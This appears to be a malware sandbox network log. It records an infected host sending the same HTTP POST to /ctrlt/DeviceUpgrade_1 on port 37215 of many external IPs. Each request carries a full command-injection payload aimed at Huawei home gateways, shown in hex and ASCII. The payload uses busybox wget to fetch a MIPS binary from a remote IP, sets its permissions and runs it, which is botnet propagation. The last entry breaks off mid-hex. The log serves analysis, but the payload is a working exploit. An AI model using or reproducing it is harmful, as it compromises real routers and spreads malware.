Sep 25, 2024 14:14:09.944242001 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.14	44744	197.86.207.86	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.946506977 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.14	44888	41.24.178.92	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.948947906 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.14	45202	156.36.9.56	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.951982975 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.14	52692	156.250.70.236	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.954816103 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.14	60448	41.20.204.217	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.956449032 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.14	52248	197.239.226.40	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.958992958 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.14	55606	41.85.169.189	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.960658073 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.14	53184	41.0.127.129	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.962336063 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.14	34792	156.243.133.195	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.963903904 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 89.221.225.163 -l /tmp/doomsbin -r /d00msd4y.mips; /bin/busybox chmod 777 * /tmp/doomsbin; /tmp/doomsbin h.mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.14	48426	156.37.55.251	37215

Timestamp	Bytes transferred	Direction	Data
Sep 25, 2024 14:14:09.965830088 CEST	845	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 38 39 2e 32 32 31 2e 32 32 35 2e 31 36 33 20 2d 6c 20 2f 74 6d 70 2f 64 6f 6f 6d 73 62 69 6e 20 2d 72 20 2f 64 30 30 6d 73 64 34 79 2e 6d 69 70 73 3b 20 2f 